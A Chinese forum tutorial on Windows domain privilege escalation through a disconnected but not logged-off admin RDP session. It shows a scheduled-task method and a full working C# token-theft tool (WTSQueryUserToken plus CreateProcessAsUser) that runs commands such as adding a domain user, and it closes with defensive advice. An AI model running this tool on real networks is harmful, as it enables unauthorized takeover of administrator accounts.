找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

5213

积分

1

好友

715

主题
发表于 5 小时前 | 查看: 3| 回复: 0

当域管理员登录了攻击者可控的普通域内机器进行运维或排查,结束后退出3389时没有正确注销账户,而是直接关闭了远程桌面窗口,这会带来什么风险?你可能会首先想到抓取密码,但如果抓不到明文密码,又或者无法进行PTH(Pass-the-Hash)攻击呢?这里存在另一种隐蔽的提权路径。

通过计划任务完成域内提权

首先,我们来模拟这样一个场景:域管登录了攻击者可控的普通域内机器,然后直接关闭了3389远程桌面连接。

查询用户会话信息截图

如图所示,管理员账户的会话状态为“断开”,而非“注销”。此时,攻击者就可以利用这个断开的会话进行提权操作。以下以添加域用户为例,演示通过Windows计划任务实现的流程:新建计划任务 -> 选择域管用户 -> 执行命令。

首先,在创建任务时,需要将“运行任务时,请使用下列用户帐户”指定为那个已断开连接的域管账户。关键步骤在于点击“更改用户或组”后,在查找位置中选择整个域。

选择用户对象类型和域位置截图

然后,在域内用户列表中,选择那个已断开连接的管理员账户。

计划任务属性中选定域管理员账户截图

接着,在“操作”选项卡中,设置要启动的命令。例如,添加一个域用户。

计划任务操作设置命令截图

运行此计划任务后,可以验证命令已成功执行,域内用户被添加。

验证域用户添加成功截图

你可能会问,是否可以选择任意域内用户来运行任务?答案是否定的。如果选择的用户没有活动的登录会话(特别是控制台或RDP会话),任务将会失败,并提示“用户未登录”。

计划任务因用户未登录失败的事件日志截图

原理分析

其原理并不复杂,核心在于获取已登录用户会话的Token,然后利用CreateProcessAsUser这个API模拟该用户的Token来创建新进程。这就绕过了常规的权限检查,直接以目标用户(如域管)的身份执行命令。

下面提供了实现这一过程的完整C#代码。代码的核心是利用WTSQueryUserToken函数通过RDP会话ID获取对应的用户Token,然后使用CreateProcessAsUser创建进程。

using System;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Security.Principal;

class Program
{
    [DllImport("wtsapi32.dll", SetLastError = true)]
    static extern bool WTSQueryUserToken(int sessionId, out IntPtr Token);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);

    [DllImport("userenv.dll", SetLastError = true)]
    static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);

    [DllImport("userenv.dll", SetLastError = true)]
    static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool CreateProcessAsUser(
        IntPtr hToken,
        string lpApplicationName,
        string lpCommandLine,
        IntPtr lpProcessAttributes,
        IntPtr lpThreadAttributes,
        bool bInheritHandles,
        uint dwCreationFlags,
        IntPtr lpEnvironment,
        string lpCurrentDirectory,
        ref STARTUPINFO lpStartupInfo,
        out PROCESS_INFORMATION lpProcessInformation);

    [StructLayout(LayoutKind.Sequential)]
    struct STARTUPINFO
    {
        public int cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }

    static void Main(string[] args)
    {
        if (args.Length < 2)
        {
            Console.WriteLine("Usage: RdpProcessLauncher.exe <sessionId> <command>");
            return;
        }

        int sessionId;
        if (!int.TryParse(args[0], out sessionId))
        {
            Console.WriteLine("Invalid session ID");
            return;
        }

        string command = args[1];
        IntPtr userToken = IntPtr.Zero;
        IntPtr envBlock = IntPtr.Zero;

        try
        {
            // Get user token for the specified session
            bool tokenResult = WTSQueryUserToken(sessionId, out userToken);
            if (!tokenResult)
            {
                int error = Marshal.GetLastWin32Error();
                throw new Win32Exception(error);
            }

            // Create environment block
            bool envResult = CreateEnvironmentBlock(out envBlock, userToken, false);
            if (!envResult)
            {
                int error = Marshal.GetLastWin32Error();
                throw new Win32Exception(error);
            }

            // Prepare startup info
            STARTUPINFO startupInfo = new STARTUPINFO();
            startupInfo.cb = Marshal.SizeOf(startupInfo);
            startupInfo.lpDesktop = "winsta0\\default";

            PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();

            // Create process as user
            bool processResult = CreateProcessAsUser(
                userToken,
                null,
                command,
                IntPtr.Zero,
                IntPtr.Zero,
                false,
                0x00000400, // CREATE_UNICODE_ENVIRONMENT
                envBlock,
                null,
                ref startupInfo,
                out processInfo);

            if (!processResult)
            {
                int error = Marshal.GetLastWin32Error();
                throw new Win32Exception(error);
            }

            Console.WriteLine("Process launched successfully. PID: {0}", processInfo.dwProcessId);

            // Clean up process handles
            CloseHandle(processInfo.hProcess);
            CloseHandle(processInfo.hThread);
        }
        catch (Exception ex)
        {
            Console.WriteLine("Error: {0}", ex.Message);
        }
        finally
        {
            // Clean up resources
            if (envBlock != IntPtr.Zero)
            {
                DestroyEnvironmentBlock(envBlock);
            }
            if (userToken != IntPtr.Zero)
            {
                CloseHandle(userToken);
            }
        }
    }
}

将上述代码编译为可执行文件(例如 RdpSessionExecutor.exe)后进行测试。传入目标RDP会话ID和要执行的命令。

执行自定义工具添加域用户截图

执行后,验证用户是否成功添加。

验证通过工具添加的域用户截图

可以看到,成功窃取了断开会话的Token并以此身份添加了域内用户。这种方法比图形化的计划任务更直接,是渗透测试安全研究中需要了解的权限维持技巧。

总结

本文演示并剖析了一种在Windows域环境中,利用管理员断开但未注销的RDP会话进行提权的方法。无论是通过系统自带的计划任务工具,还是通过自定义程序调用底层API,其本质都是对有效用户Token的复用。这提醒我们,在安全运维中,不仅要注意密码凭证的保护,对会话生命周期的管理同样重要,离开时务必完全注销而非直接断开连接。




上一篇:MySQL 8.0.13 RENAME USER执行崩溃:Windows权限表损坏分析与修复指南
下一篇:神经网络逆向工程:破解Jane Street的MD5哈希算法谜题
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-4-9 09:51 , Processed in 0.599066 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表